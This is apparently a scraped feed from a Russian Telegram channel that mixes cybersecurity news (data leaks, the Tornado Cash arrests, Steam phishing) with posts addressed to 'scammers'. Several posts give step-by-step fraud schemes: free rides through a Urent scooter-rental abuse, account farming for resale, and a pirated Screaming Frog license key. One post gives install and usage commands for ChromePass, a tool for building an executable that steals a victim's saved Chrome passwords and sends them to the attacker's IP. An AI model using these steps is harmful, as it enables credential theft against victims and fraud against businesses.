GoodHackers

В открытый доступ утекла база данных китайского VPN-сервиса «Airplane Accelerates» База данных содержит в себе 5,7 миллионов записей об IP-адресах, доменах, идентификаторах и временных метках пользователей. Эксперты по информационной безопасности выяснили, что сервис VPN осуществляет свою работу по небезопасному протоколу HTTPS. При проверке выяснилось, что приложение сервиса могло работать как вредоносное или шпионское ПО и удалённо запускать код на устройствах. 

❗️Через «Tornado Cash» было отмыто 75% преступных средств в сети «Ethereum» Согласно отчету компании по безопасности блокчейна «SlowMist», через криптовалютный микшер «Tornado Cash» в общей сложности было отмыто 74,7% от общего количества преступных средств в сети «Ethereum».

❗️Арестовали разработчика «Tornado Cash» Разработчик программного обеспечения, арестованный на этой неделе по подозрению в причастности к сервису микширования криптовалюты Tornado Cash, — это Алексей Перцев, как сегодня сообщила его жена, подтвердив более ранние предположения в Twitter. Шаг Казначейства спровоцировал стремительное развитие событий вокруг Tornado Cash. По некоторым данным, в США и Эстонии были арестованы еще несколько человек, предположительно причастных к миксеру. Среди арестованных якобы были Роман Панченко в Сиэтле и Никита Дементьев в Таллинне. Как сообщает его жена: «Разработчику программного обеспечения грозит до 6 лет тюрьмы по обвинению в отмывании денег за простое написание кода. Код, который является нейтральным инструментом, предназначенным для защиты конфиденциальности. Код, на котором он не заработал денег. Немедленно отпустите Алексея.».

​«Group-IB» обнаружила 150 мошеннических ресурсов, замаскированных под «Steam» На этот раз учетные записи геймеров угоняют с помощью новой фишинговой техники «Browser-in-the-browser» — сначала пользователя заманивают на страницу-приманку чатовыми предложениями присоединиться к киберспортивному турниру по «League of Legends», «Counter-Strike», «Dota 2», «PUBG». Обычно на таких сайтах можно проголосовать за команду, купить билеты, получить внутриигровой предмет или скин. Далее злоумышленники пользуются тем, что в «Steam» аутентификация происходит во всплывающем окне, а не в новой вкладке. В отличие от большинства мошеннических ресурсов, которые открывают фишинговую страницу в новой вкладке или делают переход, новая техника открывает поддельное окно браузера в прежней вкладке. Ссылка в адресной строке поддельного окна не отличается от оригинальной — её можно выделить, скопировать, открыть в другой вкладке. Кнопки работают корректно, окно можно двигать по экрану. Кроме того, на обнаруженных фишинговых ресурсах можно выбрать один из 27 языков. Жертва вводит данные в фишинговой форме, которые сразу отправляются злоумышленнику и автоматически вводятся на официальном ресурсе. Если ввести данные некорректно (один из способов проверки подлинности ресурса из игровых пабликов), то новая фишинговая форма сообщит об ошибке, как настоящий «Steam». Если у жертвы включена двухфакторная аутентификация, то мошеннический ресурс покажет запрос кода в дополнительном окне. «Похоже, прежние советы, которые несколько лет назад помогали геймерам определить фишинговый сайт, сегодня уже бесполезны против нового метода мошенников» — подытожил Александр Калинин, руководитель Центра реагирования на инциденты информационной безопасности «Group-IB». В ногу со временем

❗️В Перми полиция накрыла вебкам-студию с оборотом 50 млн ₽ Организаторами вебкам-бизнеса были двое мужчин — одному 34 года, второму — 29 лет. Всего в студии работали более сотни вебкам-моделей Изъято оборудование и документация. Всего организаторы заработали около 50 млн рублей. Возбуждена уголовка о незаконном изготовлении в целях распространения, либо распространении порнографических материалов.

Администратор киберпреступного форума «BreachForums» сообщил, что получил письмо от «Group-ib» в котором утверждалось, что тема форума, в которой продавались данные мексиканского банка, является фейком и вредит репутации банка. В ответ на это администратор купил данные и слил их. Упс.

❗️На продажу выставлена база более 48.500.000 пользователей китайского COVID-приложения Хакер заявил, что получил личную информацию 48,5 миллионов пользователей мобильного приложения «COVID health code». Хакер с именем пользователя "XJP" опубликовал предложение о продаже данных за 4000 долларов на хакерском форуме Breach Forums в среду. Хакер предоставил образец данных, включая номера телефонов, имена и китайские идентификационные номера, а также статус кода здоровья 47 человек. Одиннадцать из 47 человек, с которыми связалось агентство Reuters, подтвердили, что они были включены в выборку, хотя двое заявили, что их идентификационные номера были неверными.

​Абуз кикшеринга электросамокатов «Urent» Нихао, скаммерсанты. Соскучились по бесплатным самокатам? 1. Скачиваем приложение «Urent» (PlayMarket/AppStore); 2. Регистрируем новый аккаунт с помощью левой сим-карты или @HELPER_SMS_BOT; 3. Берём самокат в аренду; 4. Разгоняем самокат и поднимаем его переднее колесо, чтобы оно крутилось в воздухе; 5. Нажимаем "Завершить" в приложении, делаем фото другого самоката, держа колесо в воздухе; 6. Мы завершаем поездку, деньги вернулись, а самокат ещё работает; 7. PROFIT! Важно: нельзя допустить того, чтобы самокат остановился если самокат остановился - Вы его больше не сможете использовать.

​Бесплатно получаем 2 часа игры от «My Games Cloud» Нихао, скаммерсанты! Перед вами отличная возможность нафармить кучу аккаунтов «My Games Cloud» с часами, которые хорошо можно продать зимой, когда на них появится спрос. 1. Переходим по ссылке и регистрируем аккаунт; 2. Далее открываем раздел «Список игр», в котором будет находится инструкция с заданиями; └ Привязываем «VK ID» —> Подписываемся на новости —> подписываемся на группу в «VK» 3. Выполняем все задания и получаем один час бесплатной игры; 4. Скачиваем приложение «MY GAMES Cloud» (PlayMarket) и входим в него с аккаунта, на котором мы вошли через ПК; 5. Нажимаем «Запустить виртуальный компьютер» и ожидаем, пока не появится предложение посмотреть рекламу, после чего получаем еще один час бесплатной игры; 6. PROFIT! Отличное решение для обладателей доисторических ПК ✌️

​Оплачиваем подписки и приложения в «App Store» & «iTunes» с помощью QIWI-кошелька Нихао, скаммерсанты. Компания «Apple» прикрыла почти все способы оплаты в «AppStore», поэтому мы публикуем схему, которая позволит обойти блокировки при помощи «QiWi Wallet». 1. Скачиваем приложение «QiWi Wallet» (AppStore/PlayMarket); 2. Проходим авторизацию под своим аккаунтом; 2. В поиске ищем «Amazon»; 3. Покупаем купоны «Amazon» следующих номиналов: 10$, 25$, 35$, 50$, 100$; 4. Переходим на «Amazon» ; 5. Ищем в поиске «Apple Gift Card» и покупаем его за купоны; 6. Активируем «Apple Gift Card» под своим аккаунтом; 7. PROFIT! Можно использовать для своих личных целей или продавать "номиналы" в специализированных местах ✌️

​Получаем подписку «Telegram Premium» за 50₽ Нихао, скаммерсанты! С выходом крайнего обновления в «Telegram» появилась возможность дарить подписку «Premium». Так вот, теперь мы можем оформить подписку на твинке с турецким номером всего за 50₽ вместо 300₽. 1. Покупаем аккаунт «Telegram», оформленный на турецкий или пакистанский номер или регистрируем его сами с помощью сервисов приема смс; 2. Переходим в @premiumbot и отправляем контакт с нашим аккаунтом, на который мы планируем оформить подписку. У нас появится окно с выбором подписки, выбираем и оплачиваем; 3. Пользуемся подпиской в несколько раз дешевле; 4. PROFIT! Кайфуйте ✌️

🎓 FREE: Screaming Frog Pro на 1 год. ▪️ ПОЛУЧИТЬ | 11 999₽ 💁🏻‍♂️ Screaming Frog SEO Spider — это один из наиболее важных инструментов в арсенале оптимизатора, сервис сканирует URL-адреса, ссылки, изображения и выявляет недостатки, которые не позволяют сайту продвигаться вперед, вы можете скачать программу на компьютер и пользоваться бесплатным тарифом, но чтобы воспользоваться Pro-функциями, придется приобрести лицензию » как вы поняли подписчикам нашего канала ничего не нужно покупать - мы поможем вам получить Pro-версию на 1 год - бесплатно » поделитесь публикацией с SEO-друзьями. 🙍🏻‍♂️ : telegramfreehvb 🔑 : 80589D2568-1691526830-C22640C478 🤷🏻‍♂️ ЧТО НУЖНО ДЕЛАТЬ: 1. Открываем » Screaming Frog. └ Устанавливаем программу 2. Запускаем программу. └ Кликаем » Licence / скрин 3. Далее » Enter Licence / скрин. └ Вводим данные (см. выше) 4. Готово, пользуемся / скрин. └ Лицензия на 1 год

Канал рэпера Lil Nas X взломали и запустили криптострим, а затем переименовали его в «Влад А4» Изначально канал был отредактирован под мошеннический криптострим, а затем его название сменили на «Влад А4» и опубликовали ролик с неоднозначным содержанием под названием «Президент Украины идет». Сейчас название канала сменено на «Montero», а видео и стрим удалены.

​Получаем скидку 770₽/1000₽ при заказе из «СберМаркет» Нихао, скаммерсанты! Перед вами отличная возможность получить очень жирную скидку в 770₽ при заказе от 1 000₽ в «СберМаркет». 1. Переходим по ссылке и скачиваем приложение «Юmoney»; 2. Открываем приложение, затем переходил в раздел «Кэшбек и скидки», в поиске находим «СберМаркет» и нажимаем «Купить с Кэшбэком»; 3. Собираем корзину в «СберМаркет» на 1000₽ и оформляем заказ; 4. PROFIT! Что сэкономлено, то заработано ✌️

❗️Обновленная база группировок вступивших в кибервойну

Произошёл взлом, но не данных, а группы «ВКонтакте» компании «Burger King». По скриншотам можно понять, что да как.

На теневом форуме «eXploit» хакер под ником «4c3» продаёт удаленный доступ ко всей сети неизвестного центрального банка Этот доступ идеально подходит для ограбления с помощью «Swift» и только люди с репутацией на exploit.in могут совершить покупку. Цена доступа составляет всего каких-то $500 000. Делать деньги бл*ть вот так

Как украсть пароли из аккаунта в Google Большинство пользователей хранит свои пароли прямо в браузере, в так называемых "формах автозаполнения" Chrome. ChromePass - это специализированная утилита, написанная на языке программирования Python, способная "добывать" сохраненные пароли в Chrome. Установка: $ git clone https://github.com/bierschi/chromepass $ cd chromepass $ pip install -r requirements.txt $ python -m pip install --upgrade pip $ python -m pip install -r requirements.txt Использование: $ python create_server.py После запуска, выбираем метод - client.exe, вводите свой IP. Если хотите, то включите сообщение об ошибке, и добавьте сообщение. Файл server-ip.exe - должна получить ваша жертва. В файле client.txt появятся пароли.

Обновление Telegram не может пройти проверку в Apple уже две недели Создатель Telegram Павел Дуров пожаловался, что предстоящее обновление мессенджера застряло на проверке Apple на две недели без объяснений или каких-либо отзывов со стороны компании. Дуров напомнил, что Apple и Google берут с разработчиков приложений комиссию, из которой, по их словам, оплачивается проверка приложений.

❗️Быстрый человек 57-летний водитель, который ехал со скоростью почти 200 км/ч и был остановлен, отказался платить штраф за превышение. Он сослался на то, что все в жизни привык делать быстро: быстро ест, быстро спит, быстро ездит, владеет скорочтением и даже пешком передвигается очень быстро. Его вызвали в суд, где скорострел рассказал всё то же самое. На что судья ему заметил: «Посмотрим, как быстро ты отсидишь полгода в тюрьме». Фиксируем смех на 00:28